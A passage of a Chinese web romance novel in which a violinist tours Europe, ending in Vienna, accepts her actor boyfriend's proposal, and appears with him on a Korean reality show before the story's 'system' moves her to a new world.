三星手机看到宋玉妍暴涨的国民度后，主动找上门来谈合作代言。她心知肚明这是为什么，是因为她艺人女友的身份，加上看起来高大上的职业光环。 但是在了解对方企业岌岌可危的口碑，掌门人因为陷入闺蜜门的丑闻每天去国会打卡。他的路透直拍数量和一线爱豆相差无几，宋玉妍还是婉拒了对方抛出来的橄榄枝。 没有必要为了那么点蝇头小利把自己和男友抛入舆论的漩涡中。 等孔浏和赵南柱作家面聊过两次后，宋玉妍也准备开启欧洲的巡演计划。 《82年的金智英》她也看了原著，虽然她和文中女主生长的背景不同，但是东亚女性面临的困境是差不多的。 在看这本书时，宋玉妍的心脏一直传来酸酸麻麻的胀痛。这让她不得不看一段停下来捂着心脏舒缓一下情绪，然后再继续看。 她知道那都是属于原主，无数次她想说些什么，却又说不出口。只能半夜起来，在阳台拉一些曲子宣泄自己的情绪。 宋玉妍再去欧洲前，收到了一份特殊的礼物，朴昭愿把她的柴奖奖杯送给了自己的老师。 看到这个奖杯她端详着，在心底感叹，这么多年过去，它的造型还是一如既往。只有底座上代表着年份和奖项的刻字不一样。 对着自己老师，朴昭愿羞愧地把头垂下，老师借给她琴也被归还了。“老师nim。对不起！” 喝着卡奴黑咖啡的宋玉妍坐在沙发上笑得很好看，骄傲又赞赏地看着自己得意弟子。“为什么要抱歉，你做的很好啊！” 朴昭愿好像难以启齿，垂着的头，嘴唇用力咬着，几乎都要咬破皮。 过了好半响，她才喃喃道：“老师nim，我和国立交响乐团签订了合约，毕业就去那里做小提琴手。” 宋玉妍很是惊愕，眉头拧紧，原本的笑容消失不见，西班牙红的咖啡杯被她重重地顿在茶几上。 “为什么？”明明已经半只脚迈入职业演奏家的范畴，为什么还要去乐团，消耗天赋当耗材？ “老师nim，能够拿到这个offer我已经很心满意足了，如果不是遇见了您，我可能就会去全罗道某个学校当一辈子音乐老师。” 当朴昭愿知道金素仙的家里人能够给她花两亿韩元来上老师的私课时，她就知道自己一辈子都走不到龙山的富人区了。 首尔大毕业和首尔大毕业是有差距的，有的人可以自己选择出国留学、继续深造，但是她不行。她只有一把练习琴，就连比赛的琴都是老师借给她的。 穷人是没有试错成本和看世界的资格的！ 宋玉妍本来很愤怒，觉得朴昭愿辜负了她的苦心。 她想告诉自己的学生，已经拜托自己的老师写好推荐信了。等人一毕业就可以去朱莉亚音乐学院深造，那里才是她应该去的地方。 但看到砸在地板上的泪水聚成一小摊，她忽然泄去了力气，揽过自己的学生，和之前一样拍着人肩膀。 “你想做什么就去做吧，你自己的人生你不要后悔就好。” 朴昭愿擦了擦自己的眼泪，眼睛里面满是血丝。“老师nim，我不会后悔。”语气坚定地像是在说服别人又像是在说服自己。 至少她见过莫斯科最美的景色，也不会忘记那一晚的星星。有些风景见过就好了，她没有那个能力去占为己有。 第78章 第七十八章 坐上飞机的宋玉妍看着窗外的风景，这是一条朴昭愿从未走过的路。明明窗外晴空万里，但她无端地生出许多愁绪。 旁边的孔浏握着她的手，只用了一点点力气去捏着。 “玉妍呐，遇到你朴昭愿已经很幸运了，所以……你不必那么耿耿于怀。” “那她为什么不继续幸运下去呢？”宋玉妍像是在问他，也像是在问自己。明明已经给她铺好了路，但是也没有办法摁着人头走下去。 孔浏不说话，只是伸着自己的双臂跨过安全带的桎梏，圈住她的肩头。 她的颈窝被一个温热的东西靠住，宋玉妍只觉得两人的位置好像颠倒了。 一般不都是女方小鸟依人吗？ “欧巴，你先起来，别的乘客在看，很丢脸！”下次出行一定要买那种座位分割的胶囊式头等舱，再也不让他订票了。 “是吗？我只是想着自己好像从未在欧洲旅行过，每次过来都是匆匆擦身，为了工作不断奔波。” 听到这话，宋玉妍忽然心软了。她想到自己之前周游世界的时侯，在欧洲还是留下了很多美好的回忆。 “德国的香肠和啤酒风味最佳，法国的里昂是个度假的好去处，去那里的路上总能看到一连片的薰衣草花田……” 看到她把那股莫名的愁绪抛到脑后，专心致志地给他介绍一些特色，孔浏别过头时轻笑了一下。 等宋玉妍开启欧洲巡演的第一站——伦敦，就在女王音乐厅里刮起了一阵风暴，整个欧洲挑剔、又最自恃其高的听众都被她手上的小提琴征服。 上一次巡演引起这么大阵仗的是帕尔曼，有的报纸把她称为第二个帕尔曼。 但是那群“老钱”听众，扶着自己的帽檐在音乐沙龙上，用着最高雅的贵族口音，对此不屑一顾。 “那群记者懂什么古典音乐，上帝啊！报纸上的那些言论简直看得人头大。” “就是，帕尔曼的风格大多细腻浪漫，基于此他在不同的曲目表现有不同，很有自己的特色。而宋……她的技术确实是无可挑剔，就连最碎的碎音都能拉准，风格只能说是初步形成了。具体怎么样，我还得多听几场呢。” “戈登太太才是真正的音乐评论家，你要是去报刊就业，那群胡说八道的人该丢掉自己的饭碗了。” “就是，宋对维瓦尔弟的《四季》诠释的是真的很到位，简直就是五年以来的最佳。” “干脆我们制定一个欧洲度假计划？顺便把她在欧洲所有的出演都看一遍？” …… 宋玉妍当然不知道她多了一群忠实粉丝，这群人还把最难卖的包厢票给包圆了。 她正在看孔浏为她收集的报纸，每次她排练的时侯对方总是要跟来，收到打趣的眼神多了，她干脆不许对方来了。 没想到他会选择在街头探索，给人带来一份这样的惊喜。 宋玉妍看着报纸上的图片，一边是老师和伦敦爱乐乐团合作的照片，一边则是她昨晚和同一个乐团一起谢幕的照片。 她忽然有些泪目，多买了一份《泰晤士报》，然后把这张图片裁下邮寄到大洋彼岸。 巡演的最后一站定在音乐之都维也纳，当真的在金色大厅和维也纳皇家爱乐乐团排练时，她还是会有种不真实的感觉。 握住手里的琴弓，尾部金属的触感提醒着她，这一切不是梦境。看着台下坐在最中间给她拍照的孔浏，宋玉妍心底划过暖流。 富士相机的胶片感十足，她看过孔浏的作品，技术性不强。但是每一张照片都凝聚着他的爱意，照片里的主角自信、光芒万丈。 低头、抬眼， 每一张都是可以送入摄影展的程度。 除了她自己，世界上还有另一个人爱着她。 到了正式演出这晚，宋玉妍的手心冒汗了。恨不得上台前给自己双手擦满松香，这样至少右手持弓会更稳，不会打滑。 维也纳的市民是全世界音乐素养最高的听众，金色大厅更是每个月都会有顶级的音乐家前来造访。 这让他们的耳朵更加挑剔，圆舞曲的发源地也造就了他们对浪漫主义音乐的偏爱。 他们讨厌美国人演奏风格的快速、随意；又不喜欢德系音乐家的严肃、刻板、毫无活力；俄国的顶尖音乐家也会在这里遇冷；技术过于粗糙他们通常都会中场退场。 总之，想要征服他们，顶尖的音乐家们不仅在技术上要无可挑剔，就连风格也得符合这座浪漫之都的气质。 宋玉妍拖着鱼尾裙，站在指挥的左手边时，心脏忽然就安定了下来。这个舞台不大，但是金色音乐厅象征的意义大家都知道。 她不着痕迹地甩了甩右手手腕，对着孔浏笑了一下。 所有乐手看向指挥，等乐队的调音完成后，在指挥的第一个手势落下时，管乐优雅的音符接踵而至。 《维也纳气质圆舞曲》是施特劳斯的十大圆舞曲之一，也是新年音乐会上的常客。 她选择这首曲目，是想把它送给维也纳市民，赞美其乐观向上、热爱生活的态度。 宋玉妍不紧不慢地把小提琴架在脖子上。等双簧管的solo落下最后一个音符后，她的独奏乐段紧随其后。 简单的长音揉弦萦绕在整个音乐厅内，听众的心脏仿佛也随着琴弦的振动提起，不断跟随节拍轻轻跃动着。 滑音悠扬，其他小提琴声部切分音不断加入，随后是一段重复的旋律。 这次处理地更加柔和、优雅，第一小提琴的演奏几乎让每一位听众的心耳朵酥麻。 美妙的乐句让最挑剔的听众顾不得挑刺了，他们用耳朵记住这动人的音符，面上一片高冷，心里却在暗暗点头。 两段rubato让他们留下了对宋玉妍的初印象，这是一位很适合圆舞曲的演奏家。 甜而不腻的揉弦让人印象深刻，清新、静谧地处理，像是看到了傍晚静静流淌着的多瑙河。 随着磅礴的管乐再次加入，乐曲进入第一主题，旋律一转，明朗欢快的音符像是一颗颗圆润的珍珠坠落在地面。 有些听众忍不住用前脚掌轻轻打着节拍，随着跳动的音符一起。 听众忍不住为这受当地人耳熟能详的曲子，用脚打着节拍。 高潮时，宋玉妍和指挥对视了一眼，指挥的动作变得大开大合，两人一起把乐曲推向最高处。 时间随节拍不断过去，听众被拉入了他们的音乐世界里。仿佛他们也置身于奥地利公主和巴伐利亚王子的婚礼中。 他们的嘴角挂起甜蜜的笑容。 宋玉妍偷偷往台下扫了一眼，发现男友的目光像是黏在了她的脸上一样。 不知道是因为害羞，还是头顶的灯光温度太高，这让她裸露的肌肤镀上了一层绯色。 管乐、弦乐、鼓的加入让人不敢走神，她把注意力重新放回到曲谱上。 一曲毕了，听众的掌声就是最好的反馈。她这次不用余光，正大光明地看向台下，孔浏的掌声在她的耳朵里格外突出。 如同管弦乐中的三角铁，敲了起来格外清脆。 他眼中的爱意像是揉碎的星光折射其中，宋玉妍含笑用自己的琴弓敲击着曲谱架，弦乐的其他乐手随后跟上。 像是在回应听众的热情又像是在回应他直白、不加掩饰的爱意。 一首首曲目一晃而过，上半场大多都是施特劳斯家族的作品。下半场也会穿插着莫扎特、贝多芬、勃拉姆等德国作曲家的作品。 谢幕过后，宋玉妍手里的捧花几乎拿不稳了，还是其他乐手好心，她才能把它们搬回到休息室。 孔浏恰好在她的位置上等她，自然地接过小提琴，轻柔地放入琴盒里、扣上。琴弓被拧松、固定好，松香也被放入暗格中。 他自然地背起琴盒，“晚上要去吃点东西吗？还是直接回酒店休息？” 宋玉妍摇了摇头表示不用，这个点的欧洲和首尔不一样，店铺都关门了。 她把一束玫瑰塞到孔浏的怀里，自己抱着一小束满天星，拿出相机，拜托之前帮忙抱花的乐手给他们拍照。 知道自家女友的意思后，孔浏眼底浮现一抹沉思，两人的合照好像确实是很少。看来回首尔之后，要把人生四宫格给安排上。 本来只是并排站着的，宋玉妍在“咔嚓”声响起的那一瞬间抱着他的手臂，踮起脚尖在他的侧脸落下一吻。 照片里的男人嘴角勾起的弧度是前所未见的，唇边的微笑括号又深又明显。 “玉妍呐，我约了明天晚上的游轮餐厅，你……有时间吗？” 像是知道他要干什么，宋玉妍跳着转身看着他，藕臂被藏在身体后面。“内。” 虽然第二天还有一次演奏会，但只是考验人的体力而已，至少精神上不紧绷了。 翌日清晨，维也纳的市民坐在街边太阳伞下喝咖啡、拿着报纸闲聊时发现一个不一样的面孔。 「亚洲新兴演奏家登陆欧洲，维也纳为最后一站，昨晚的演奏就像是结束乐句的倒数第二个装饰音。」 其中还对比了她和其他演奏家的技术、风格，昨晚的rubato获得了专业评论家和普通观众的一致好评。 当晚宋玉妍看着台下爆满的上座率，有些观众甚至站着，心底的骄傲和激动都快溢出来了。 这样的情形是她从未想到过的，只有新年音乐会主办方才会放出站票。 看着台下这群被誉为全世界最挑剔的古典音乐听众，她仰起头看着金碧辉煌的天花板，深深呼出一口气。 宋玉妍摩挲着弓尾的那一行刻字，内心五味杂陈。 第79章 第七十九章 最后一场的最后一个音符落下时，宋玉妍好似还沉浸在乐曲中，所有的返场曲目都是凭借着本能完成。 她挽着孔浏的手走出金色大厅，回头看了一眼这个矩形的建筑，在心底问道：「系统，我任务完成了吗？」 「宿主！早在你在国立交响乐团新年音乐会出任首席的时侯，进度条就已经满了。」 宋玉妍把孔浏被棕色西装包裹着的手臂抱的更紧了，在昏暗的路灯下，她的头微微仰起看着男友。 “孔浏xi，你为什么会喜欢我？” 世界上有那么多漂亮的女人，为什么偏偏会对我心动？ 她今天所有的头发都拢在脑后，变成了一个花苞状的盘发，几缕碎发散在脸颊旁边。弧度弯弯，衬得她温婉的面容更加清丽。 孔浏伸出手掌，几乎可以覆盖她整个头，在宋玉妍的发顶轻轻揉了揉。 “阿尼，不是喜欢，是爱。” “那你回答一下，你为什么会爱我？” 她把头昂起的幅度更高了，像是一只骄傲的塞尔凯克卷毛猫，蓬松可爱让人忍不住想要把所有最好的给她。 夜晚的维也纳有些静谧，老旧石砖有些凹凸不平。孔浏专心致志地注意她脚下动作，听到宋玉妍不依不饶地追问，他忍不住想要逗逗她。 “爱哪有为什么，能够用语言形容太刻意，那就不是爱了。” 他看着她的眼睛，在多瑙河边、在邮轮之前、在月光的照耀下，两人的步伐停住了，中型的邮轮离他们不过是十米距离。 孔浏侧过身，今夜的月光好像有些偏爱他，剪影让他看起来更加挺拔修长。整个人像是春日里多瑙河，面上一片温润，但深处是波澜壮阔的水流。 而他眼底的爱意已经回应了问题，灼热、浓烈，垂眸时又微微遮掩的视线，像是月光化进他的眼底。 夏夜空气中像是有着一块高级方糖，周围传来一阵的甜意。而他的视线，像是要把这块巨大的方糖融化。 宋玉妍笃定他会在今日求婚，低头看着身上的礼服。为了留下一个美好的求婚夜，她特意把这件挂脖绿色丝绒长裙礼服留在今晚，就连珍珠首饰都是精心搭配过的。 邮轮上，可以看着多瑙河两岸的景色，夜晚让这座城市多了一丝不一样的风味。 也许会有一捧绚丽的捧花，她就算知道孔浏求婚的打算，却是满怀期待。 像是在欣赏景色也像是在整理头发，她把头微微侧过，修长、骨节分明的手指把碎发放到耳后，不敢和他的视线对上。 他拉着宋玉妍的手，掠过甲板 上的其他人跟随着侍应生，来到视野最好的船头位置。 坐下来后，享受着夜风温柔的吹拂，离得不远的小提琴手暗暗地看了宋玉妍一眼。 《蓝色的多瑙河》的旋律继续，随着夜风流淌着，碎弓奏出的轻缓震音，像是和着多瑙河水波的节奏起伏。欢快的旋律让船上的乘客心情大多都很不错，情人之间大多都在耳鬓厮磨。 宋玉妍也把自己带着蕾丝手套的双手放到一边的耳侧，莹润的珍珠在发着光，含笑地看着孔浏。 “这样的景色、这样的氛围，你不给女伴送束花吗？”这样的语气几乎是在明示，他可以求婚了。 但是对面的人好像是个木头，没有从身后忽然变出一束玫瑰、没有单膝下跪、小提琴的旋律也没有变成《费加罗的婚礼》。 宋玉妍有些失望，只能安安静静地吃着自己餐盘里面的食物。 本来看着桌面上跳动的烛火，她的内心还是涌上一点罗曼蒂克的，虽然不多。但现在心底的那一丝浪漫情绪，随着蜡烛变短、火苗熄灭，也逐渐消散了。 孔浏像是不知道她的心情，继续帮她处理整块牛排，顺便把自己盘子里的香肠分了一部分给她。 看着盘子里面一半的黑椒香肠，她的心情很差，完全吃不下。 宋玉妍用自己的叉子插住几乎有鸡蛋那么粗的肉肠，温柔地看向孔浏，“欧巴，我喂你。” 语气里的柔情似水简直就是可以滴出蜜来，手臂的颜色在灯光下显得透明，蓝色的血管几乎清晰可见。举着叉子时几乎可以看到，她手臂上薄薄附着的一层肌肉，并不如看起来的那般脆弱，反而透着一股生命力。 这是由于练琴需要力量控制，在健身房无氧运动后的节奏。 看到男友乖乖张嘴，黑椒香肠被大力塞进去之后被浅浅噎住的样子，宋玉妍终于笑了，笑得乐不可支。 就算之前“报过仇”了，她的心底还是很不是滋味。等拿着餐巾擦了擦嘴角之后，失落已经无以言喻。 起身路过小提琴手时，她被人叫住，内心的希望再一次涌起。环视周围一圈，想看看在哪里能够藏住花。 看着宋玉妍今天起起伏伏的情绪，和就餐时暗暗生闷气的样子，孔浏垂着头掩饰住眼底的笑意。 “宋，我昨天去看了你的演奏会，是真的很棒。”说惯了的德语的人说韩语的姓氏稍稍有些为难。男小提琴手里的崇拜简直要溢出来了，只有内行人才知道她拉的多好。 “你能给我签个名吗？” 宋玉妍：！！！ 签名倒是能签，只是她现在连一张唱片都没有发行，直接签名会有些不太合适。 “你如果不介意的话，留个地址，我后续给你发一张签好名的唱片。” 对方当然无所不从，用便签写下自己的地址。能够和未来的大师相交，怎么不算是一间幸事呢？ 下了邮轮餐厅，孔浏再也忍不住心中的妒火，阴阳怪气道：“宋，你是我见过最厉害的小提琴演奏家。” 他单手插进棕色暗纹西装的裤袋，就连带着德语口音的英语都模仿地惟妙惟肖。 两人之间的年龄差是他心底的痛处，这也让他总是对宋玉妍的爱意报以怀疑态度。 “我难道不是你见过，最厉害的小提琴家吗？”她转过头，头发划出一丝弧度。 听到这样的话，孔浏眼底陷入沉思，想到了当初那曲《staywithme》，又想到了初遇。 “玉妍呐，我们初遇的时侯是我先看到你的，那个时候你站在窗外的背影一瞬间就击中了我的心脏。” 两人漫步在维也纳的大街小巷里，像是漫无目的地走着。 “是吗？”宋玉妍也想到最开始的那家餐厅，嘴角也勾起了笑容。“那个时候我的银行卡被家里人冻住了，行李也被航空公司弄丢，当时身上除了小提琴和护照，可以说是身无长物。” 本来他想开口询问，为什么不寻求他的帮助，但当时两人还是陌生人。 那天的孔浏其实是没有出门的计划，但也不想叫外卖随便对付一餐。出门在城市间穿梭，他进去那间餐厅是很偶然的一件事情。 可能是当时那家餐厅的中古风他最喜欢，也可能是当时满条街，就那里的灯光最温暖。 “爱上你其实是一件再理所应当不过的事情的。”他忽然话锋一转，是在回答就餐之前宋玉妍的问题。 如果说初见是一见钟情的喜欢，那么孔浏后续爱上是因为她身上的特质。自爱、情绪稳定、不放弃、内核稳定，两人之间合拍地像是早应该相逢的灵魂伴侣。 “我始终认为，人与人之间面对面的交流后产生的共鸣，这样分泌出来的多巴胺是比做｜｜爱更加让人颅内上皮层更加酥麻。” 宋玉妍转身把手上的蕾丝手套脱下，主动牵上他的手。她的手不如其他女生那般纤细，皮肤上布满了大大小小的茧子，但这样反而让人握起来更加安心。 “每次和你交谈我都会有类似的感觉。”晚风把她轻声的呢喃送入耳畔，撩动着他的心弦。 孔浏另一个手握成了拳头，微微颤抖着，想要抑制着自己激动、欣喜而又焦灼的心情。看着远处尖顶的建筑，默默地计算着距离。 不知不觉中，两人走到维也纳市中心的卡尔教堂边，今晚的维也纳似乎只属于他们两人。 转过身，坚定地看着宋玉妍的眼睛，然后抚了抚衣襟上的褶皱，单膝下跪，他从放领巾的口袋里拿出一个圆形的金属环。 孔浏举着它，才让宋玉妍看清楚形状。 红宝石镶嵌在最中央，其余的碎钻散落在八个花瓣上，环绕成一个玫瑰的样式。折射出来的光芒，在丝绒质地的夜幕下更加好看。 宋玉妍看着这枚用心定制的戒指，心跳地更加快了，这个戒指很精致、很好看。 “看到你时，我莫名就想着，你的灵魂应该是一朵永不凋谢、一直盛放着的红玫瑰。” 这也是他拒绝常规的钻石，定下红宝石的原因，不会再有比这个还要适合她的了。 孔浏的眉眼其实是锋利的，像是把夜色都给分割开，微翘的嘴角和拧着的眉头像是他七上八下的心情。 他不知道宋玉妍会不会答应这次求婚，也不知道她对这个求婚满不满意。吞了吞干涩的喉咙继续说道：“但是我只想做藤蔓，只要能陪伴着你就好。” 他的戒指也早早定好，是一圈藤蔓形状的圆圈碎钻。 宋玉妍伸出自己的左右，右手捂着自己的半张脸，仰着头看着空中的繁星。 冰冷的触感贴到她指尖上的琴茧，然后在突出的骨节前后小幅度地移动了一下，最后落到手指的最底部。 夜风像是在为他们庆祝，微冷的风都变得温柔起来，教堂响过12点的钟声。 “玉妍呐，在遇到你之前，我从未想过婚姻这件事情。”孔浏站起来后拍拍自己裤腿上的尘土，然后怀里多了一份温软。 “我也是。” 第80章 第八十章番外：《同床异梦2》…… 19年3月sbs演播厅，三位主持人最后看了一眼台本，收到导演提示之后迅速调整状态。 “我们《同床异梦2：你是我的命运》邀请了城南市市长李再明、国民良心孔浏、在种花发展的大势演员秋瓷铉。”主持人一边鼓掌一边欢迎。 “上一季我们探讨父母与子女之间的关系，那么这一季我们将聚焦夫妻之间的相处。” “这次我们邀请了三对夫妻出演，分别是结婚28年的市长夫妇；已经相处过一段时间的秋瓷铉夫妇；以及新婚不久的孔浏夫妇。” 孔浏跟在李再明之后出来，一边弯腰鞠躬一边朝观众挥手示好。等主持人金九拉简单采访完李再明后，话题就落到了他身上。 “这是您继13年rm后第一次出演综艺吧！” “内。”孔浏不好意思地笑了笑，“因为我私底下是一个无趣的人，所以还是把 最好的形象留在作品里面就行。” 听到这话，所有的主持人都笑了起来。“那作为南韩四大公共财产之一孔浏演员的妻子，宋玉妍女士会不会有什么负担？” “有更多负担的应该会是我，每次我陪玉妍……呃、宋玉妍xi一起去音乐沙龙会，大家只会在意我是她的yeobo，在那里没有人会在意孔浏是谁。” 这种感觉对他来说还是很奇妙的，第一次有人完全把他当做另一个人的附属品。 说到这里他的脸上浮现出一种类似于骄傲的情绪。丝毫没有因为妻子事业上的成功，而产生大男子主义的情绪。 「我宣布，请国家给我发一个孔浏这样的男人，我才会结婚。」 「前面那位政客的演技就够好了，这位更是重量级，拿过百想视帝。」 「可以看看这两位谁的演技更好。」 「我看过两人的直播版，楼上你就慢慢看吧！生活习惯可以演出了，但是爱是演不出来的。」 “那您这次是为什么会选择出演我们《同床异梦2》的？又是怎么样说服宋玉妍xi的？” 孔浏说到这个忍不住笑了起来，“刚开始的时侯是我不太想接受出演，因为宋玉妍xi她是一个素人，我怕她不习惯镜头。我是艺人，在镜头面前维持良好的形象是我的工作，但是她不是。” 他把手放到桌面上，提到自家妻子嘴角的笑容怎么样都压不下。 “但是她说没关系，说我的新剧《金智英》要上了，让人知道我本身是一个很好的丈夫，不要因为剧里的形象而误会我。” 还一段话没有说的是，当时宋玉妍拿着那本书，很正经地说道：“yeobo，我们之间的婚姻关系才是正常的。应该给大众看看男性应该在家庭里承担那些责任，能少一个像金智英那样的主妇都很好。” 但这话孔浏就不会在镜头面前说出来，争议性的言论会让她陷入非议。 “不愧是新婚呐，和秋瓷铉xi这种结婚两年的相处模式还是不太一样的。” 孔浏被打趣地耳朵开始红了，他有些敏感地摸了摸自己的耳垂，这个话就没有接下去了。 第二组的日常生活就是他们，摄影师先是尽职尽责地把屋子里面的全貌都拍下来。 法式的奶油风的装修，石膏线、鱼骨地板、拱门看起来很精致。 餐边柜上的咖啡机、客厅边上的三个小提琴琴盒、电视机旁的黑胶唱片机让这个家看起来多了份小资的生活气息。 “哇，这个家看起来像是我的梦中情房，宋玉妍xi一定花了很多时间打理吧。”只有做过家务的人才知道，这些细细碎碎的东西有多难收理。 他但笑不语，示意主持人往后看。 早上八点半的闹钟响起，豆绿色的被子裹在一起的一个茧子动了动。 镜头拉近，宋玉妍扯过被子捂住耳朵继续睡回笼觉，反而是孔浏提前起来。 这和前面那个对照组有些差别，也不符合主持人对于男主外女主内的家庭结构认知。徐彰勋有些堂皇，疑惑道：“孔浏xi是有通告，所以要起这么早吗？” “阿尼。是要给宋玉妍xi做早饭。” 镜头里的男人驾轻就熟地来到厨房，把之前包好的速冻馄饨拿出来，顺手煎了两个溏心蛋。手法熟练一边把切好的葱花、虾米、紫菜放到碗底，一边不紧不慢地把鸡蛋翻了面。 “大发，这完全是在厨房里训练过很久才能出来的手艺啊！” “内。”孔浏像是不好意地抓了抓头发，“我之前一个人住的时侯已经习惯了照顾好自己，现在不过顺便照顾一下宋玉妍xi而已。” 女主持人唏嘘不已，有多少男人能够意识到呢？男人总觉得自己结婚吃亏了，但是没结婚之前不也是这样过来的？ “那为什么不会是宋玉妍xi起来做饭呢？”徐章勋有些不解，在他的认知里上一对那样的生活才是标准的夫妻生活。 “当时我和她结婚的时侯，保险公司的部长特意打过电话过来道贺。还千叮咛万嘱咐，一定不能让宋玉妍xi的手受到损伤，她双手的保费现在已经花了两百万美元，要是赔的话他们赔不起的。” 开了个玩笑之后，把这一茬给揭了过去。视频里他已经做好了两碗小馄饨，两份煎蛋放在桌上，然后去卧室把人叫起来。 宋玉妍卷着被子，打定主意要赖床了。“yeobo，我今天下午的课14点才开始，让我多睡会吧！” 她撒娇的语气一出，孔浏就有点抵挡不住了，素颜的人没睁开眼像是一颗白白嫩嫩的糯米团子。 但是想到医生的叮嘱，他还是单只腿抵在床垫上，附身捧住宋玉妍的脸蛋。 嘴唇靠在她的耳畔，看了眼摄像机，低沉磁性的声音发动：“玉妍呐，你今天还没有练琴，如果起太晚导致没有今天没有练琴的话，我会和老师告状的。” 听到这话，她瞬间就清醒了，整个人以一种不可思议的角度从床上弹起来。一边抱怨一边拿着家居服去衣帽间把睡衣换下来，抱怨道：“yeobo，你真的是太坏了。” 成功把人叫醒的孔浏倚着门框回应道：“这是你自己要求的，每天练琴不少于两个小时。” 看完这一段的主持人感叹道：“大发。” 没想到这两人之间的相处模式居然会是这样，还以为孔浏是那种很顽固、很大男子主义的性格。宋玉妍长相是很温婉很传统女性的，结果在家里的角色完全相反。 换了一套蓝色的轻便的长裙，洗漱好之后，她就坐到餐桌上准备吃早饭。像是想起来什么，宋玉妍忽然抬起头来，“有摄像机在拍，我却没有化妆！！！” “没有关系，你素颜已经很好看了。”孔浏把她的煎蛋用刀叉划成四份，把她那份淋上一点香醋。 “孔浏xi，看起来完全不像是会说情话的性格，结果居然是会随便地脱口而出吗？” 以第三视角专注地来看两人的相处，他嘴角的弧度一直都没有放下来过。 听到主持人的打趣，他侧过身，认真地说道：“这是实话，并不是情话。” 「我看这位叔完全可以去演恋爱脑，完全可以本色出演。」 「对他的印象还停留在《咖啡店一号王子》，结果现在人把刘海撩起，背头的样子又欲又有人夫感，宋玉妍xi吃的真的很好。」 「这两位是真的很配了，吃完早饭宋玉妍去动咖啡机，孔浏自觉去拿咖啡杯的样子真的很好磕。」 「是的，他们对视那一眼不输任何偶像剧，我第一次觉得综艺摄像师的镜头感这么好。」 「啊啊啊啊啊，这两位给我打包去演偶像剧，宋玉妍背着光拉着巴赫无穷动，孔浏拿着咖啡在窗边的小沙发上看似在看剧本，其实注意力一直在老婆身上。」 「我也觉得这段好磕，听着宋玉妍的琴声，品着孔浏的表情，我觉得很有意思。」 「是的不知不觉我就看了两个小时直播，相当于我也练了两小时琴吧。」 看到这主持人打趣道：“看来孔浏xi对婚姻是真的很满意呀！视线完全就挪不开，仿佛看到你二十代的样子。” “阿一古。”他也很喜欢那一段，看起来完全是可以做手机壁纸的程度。把脸捂着，让自己笑的不要太明显，毕竟以后还是要形 象的。 旁边的秋瓷铉也是一脸磕到的表情，果然看别人的婚后生活，比自己结婚有意思多了。 等宋玉妍练完琴，孔浏自觉地叫了一个外卖，午饭两人就这炸酱面、糖醋里脊解决了一顿。 看了眼时间，她去挑衣服了，转身对着伴侣说道：“yeobo，晚上有一个音乐沙龙你陪我一起去吧！你那身棕色暗纹西装就很不错。” 然后她自己挑了一件棕色灯芯绒A版半裙，上面是白色衬衫加上马甲。 “内！”看到她快出门了，孔浏自觉地把剧本合上，然后背起琴盒拿起车钥匙等她。 宋玉妍出门也没有化妆，只是给自己的嘴唇上色。棕色的贝雷帽好像有些歪掉了，被伴侣伸出手扶正，两人之间对视了一眼，看着摄像机又不好意地把视线撇开。 「这两位是真的相处地好自然，孔浏完全不像是立人设。之前宋玉妍还想自己去找水杯，结果找不到还是他给放到手边。」 「对，虽然演员演戏是职业，但是我还是认为那位政客的演技更好，这位面对宋玉妍完全就是晕头转向了。」 「好磕好磕，但是这两位不太符合同床异梦吧！感觉完全合拍，是那种我一个眼神就知道你要做什么的。」 「主动情侣装什么的，宋玉妍也很可爱啊！反正她那样软下声音咬字，我一个女生都忍不住想要听她的。」 孔浏自然地开车把宋玉妍送到了学校，得到允许的节目组也去课堂上取材了一番。 发现这位在课堂上完全就是魔鬼级别的，学生拉不好她的死亡视线就扫过来了。尤其是对金素仙，这位压线进首尔大的学生。 宋玉妍更是不留情面：“如果你一直拉成这样，下个学期给我去学中提琴。本来天赋就不太行，在家练琴还三天打鱼两天晒网。” 摄像师、主持人、还有网友看到这一段都把呼吸死死屏住，仿佛被骂的人是自己一样。 等她下了课之后，主持人才舒了一口气。然后反应过来，不是他们紧张什么，他们又不是宋玉妍的学生。 “这样强势的性格会让你有些负担吗？” 孔浏：“完全不，我只觉得她很优秀、很负责。” 把人送到学校之后，节目组就看到孔浏回到了家里，打电话让家政上门把屋子里清扫好。 “完全和上一组的夫妻生活不一样呢，这组更像是女主外男主内呢！” “其实宋玉妍xi的工作也很忙、很体面，总不可能让人因为家庭而辞职吧！那可是首尔大！” 听到这话的孔浏脸上暗含着一丝炫耀，“宋玉妍xi本来因为巡演和录制唱片很忙，不太想在首尔大任教了，但是学校开出了很优渥的条件把人留下了。” 自家老婆早就从非专职教师变成了专职教师。首尔大为了把人留下，打算今年给她评上助理教授，她也是唯一一个拥有单独办公室的教师。 “孔浏xi负责家里的这些琐事不会没有面子吗？”徐章勋有些不解，在社会看来，在家搭把手的男人都是事业上不如意的那种。 “完全不会，宋玉妍可是我求了两次婚才娶回家的世界知名演奏家，让人为我洗手作羹汤，我会觉得自己是一个混蛋。” 等看着家政把屋子收拾好之后，他又把新一季送上门的礼服分门别类地放好。把两人的卧室打扫干净、梳妆台也被整理地井井有条。 他指着角落里的一个书柜上与有荣焉地说道：“那里的琴谱大多都是玉妍自己整理的，她记忆力好，大部分谱子演奏过一次就能拉下来。” 看到周围人打趣的眼神，孔浏才意识到自己不知不觉中切换到平语了，很是不好意地把手指给收了回来。 看着和人身高差不多、一摞摞琴谱，女主持人赞叹道：“大发，这一定下了很多苦功吧。” 等家里的事情忙完之后，他看了眼时间，换上一身棕色的暗纹西装。前额的头发被完全梳到后面，精心选了一款海洋系的香水，温柔又有力量。 “直到这个时侯才打扮吗？” “内！我和玉妍活得都比较随意，私下都是怎么舒服怎么来。” 看着两人一起走入一家私人举办的音乐沙龙的背影，主持人都一副嗑cp的样子。“这完全就是爱情最好的状态啊。” 女主持人在心底默默羡慕着，两人直接相处的氛围很融洽，这不是说不是说一方去迁就另外一方。 这位对妻子的爱意完全融在生活里的点点滴滴，这不是摄像头前演能够演出来的。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 80-90 第81章 第八十一章李株赫 收到孔浏的求婚之后，宋玉妍就听到了脑海中系统的声音：「任务完成，是否传换到下一个世界？」 她看着背光的人，再留恋地看了一眼手上的玫瑰花戒指，还是低声说了句「是」。 下一秒天旋地转，像是跨过了无数时间和空间，宋玉妍捂着自己的耳朵，抬头看了一眼。 这里像是一家高级的club，昏暗的舞池里不少男男女女在舞动着身体。架子鼓的声音大到像是在她的耳膜边敲着鼓点，五颜六色的灯光闪闪绚绚，烟味混合的其他的味道让人不适。 